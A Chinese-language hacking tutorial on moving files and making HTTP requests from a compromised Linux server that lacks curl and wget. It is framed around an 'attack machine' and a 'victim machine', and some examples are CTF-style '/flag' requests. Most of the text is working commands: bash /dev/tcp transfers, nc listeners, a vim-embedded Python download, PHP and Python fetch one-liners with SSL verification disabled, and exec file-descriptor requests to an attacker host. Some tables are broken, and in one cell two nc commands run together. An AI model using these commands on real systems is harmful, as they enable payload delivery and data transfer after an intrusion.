“这是Hacker?“专题:拿到服务器权限却无 curl、wget 环境?这里有一些骚操作!
拿到服务器权限却无 curl、wget 环境?这里有一些骚操作!

核心场景说明
当Linux环境(如阉割版Docker、精简系统、受限Shell)缺少 curl、wget、nc(部分场景)等常用工具时,需通过系统内置命令(cat、vim)、编程语言(PHP/Python)或Shell特性(文件描述符)实现远程请求接口或下载文件。
分类实现方法(操作步骤+原理+适用场景)
方法1:cat + /dev/tcp(依赖Bash,无额外工具)
核心优势:纯内置命令,零依赖,Bash环境通用
原理:/dev/tcp/IP/PORT 是Bash虚拟TCP设备文件,读写等价于建立TCP连接,通过 cat 实现数据传输/HTTP请求
| 角色 | 操作命令 | 说明 |
|---|---|---|
| 攻击机(发送) | 方式1:`cat 待传文件.txt | nc -lvp 7777nc -lvp 7777 < 待传文件.txt` |
| 受害机(接收) | 方式1(收文件):cat < /dev/tcp/攻击机IP/7777 > 保存文件名.txt方式2(发HTTP请求): cat < /dev/tcp/目标IP/80 > response.txt && echo -e "GET /flag HTTP/1.0
" > /dev/tcp/目标IP/80 | 1. 连接攻击机端口,读取数据写入文件 2. 向目标服务80端口发请求,响应存response.txt |
注意事项:
- 先通过
echo $SHELL确认是Bash(输出/bin/bash) - HTTP请求需手动加换行符(
),否则服务端无法识别
方法2:nc(Netcat,受害机有nc时可用)
核心优势:传输稳定,支持大文件,操作极简
原理:nc -lvp PORT 监听端口,nc IP PORT < 文件 发送TCP流数据
| 模式 | 步骤1(监听方) | 步骤2(发送方) | 适用场景 |
|---|---|---|---|
| 受害机接收文件 | nc -lvp 3232 > 保存文件名.txt(受害机) | nc 受害机IP 3232 < 待传文件.txt(攻击机) | 受害机主动拉取文件 |
| 攻击机推送文件 | nc -lvp 6666 < 待传文件.txt(攻击机) | nc 攻击机IP 6666 > 保存文件名.txt(受害机) | 攻击机主动推送文件到受害机 |
注意事项:
- 传输敏感文件建议先压缩加密(如
tar zcf - 文件 | nc ...) - 部分精简环境可能无
nc,需先测试nc -h
方法3:vim + Python(内置Python解释器)
核心优势:支持HTTP下载,无需记忆复杂语法
原理:vim -c 执行Python代码,利用 urllib 库下载文件
# 受害机一行执行(自动下载+退出)
vim -c ':py import vim,sys;
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r;
r.urlretrieve("http://攻击机IP:80/待下文件.txt", "保存文件名.txt");
vim.command(":q!")'
命令拆解:
vim -c '命令':启动后执行命令并退出- 兼容Python2/3,自动适配
urllib库 :q!:强制退出vim,无需手动操作
注意事项:
- 检查vim Python支持:
vim --version | grep +python(有+表示支持) - 攻击机需启动HTTP服务(如
python -m http.server 80)
方法4:编程语言(PHP/Python,最常用)
核心优势:兼容性最强,支持HTTPS,灵活处理复杂请求
原理:利用内置网络库发送HTTP请求,文件操作函数保存数据
| 编程语言 | 操作命令(受害机执行) | 说明 |
|---|---|---|
| PHP | ```bash | |
| php -r '$c=file_get_contents(“http://目标IP/flag.txt”); | ||
| file_put_contents(“保存名.txt”, $c);’ | ||
| ``` | 1. -r 直接执行代码2. 支持HTTP/HTTPS 3. 适合Web环境 | |
| Python2 | ```bash | |
| python -c "import urllib2; | ||
| open(‘保存名.txt’, ‘wb’).write( | ||
| urllib2.urlopen(‘http://目标IP/flag.txt’).read() | ||
| )" | ||
| ``` | 1. wb 二进制写入(兼容图片/压缩包)2. 无额外依赖 | |
| Python3 | ```bash | |
| python3 -c "import urllib.request; | ||
| open(‘保存名.txt’, ‘wb’).write( | ||
| urllib.request.urlopen(‘http://目标IP/flag.txt’).read() | ||
| )" |
**HTTPS请求处理**(忽略SSL验证):
```bash
# Python3示例
python3 -c "import urllib.request, ssl;
ctx=ssl._create_unverified_context();
open('file.txt','wb').write(
urllib.request.urlopen('https://目标IP/flag', context=ctx).read()
)"
方法5:Bash exec + 文件描述符(高级技巧)
核心优势:极端精简环境可用,零依赖,纯Shell特性
原理:exec 绑定文件描述符到TCP连接,通过文件描述符读写实现HTTP请求
# 受害机一行执行(获取/flag接口)
exec 4<> /dev/tcp/目标IP/80 &&
echo -e 'GET /flag HTTP/1.0
' 1>&4 &&
cat 0<&4 > flag.txt
命令拆解:
exec 4<> /dev/tcp/IP/80:建立TCP连接,绑定到文件描述符4(1-9均可)1>&4:标准输出重定向到连接,发送GET请求0<&4:标准输入重定向到连接,读取响应数据
注意事项:
- 仅支持Bash,
sh/zsh可能不兼容 - 复杂请求(POST/Header)需手动构造完整HTTP包
场景化选择建议
| 受害机环境特点 | 推荐方法 | 优势 |
|---|---|---|
| 仅有Bash,无其他工具 | 方法1(cat+/dev/tcp)或方法5(exec) | 零依赖,操作简单 |
有nc命令 | 方法2(nc传输) | 传输稳定,支持大文件 |
| 有vim且支持Python | 方法3(vim+Python) | 语法简洁,支持HTTP下载 |
| 有PHP/Python(Web环境) | 方法4(编程语言) | 兼容性强,支持HTTPS/复杂请求 |
补充实用技巧
-
环境可用性测试:
echo $SHELL # 检查是否为Bash php -v || python -v # 检查编程语言 vim --version | grep +python # 检查vim Python支持 -
攻击机HTTP服务搭建:
# Python2 python -m SimpleHTTPServer 80 # Python3 python3 -m http.server 80 -
常见问题排查:
- 连接超时:检查防火墙端口开放情况
- 下载失败:确认目标URL可访问,请求格式正确
- 权限不足:尝试在命令前加
sudo(若有sudo权限)










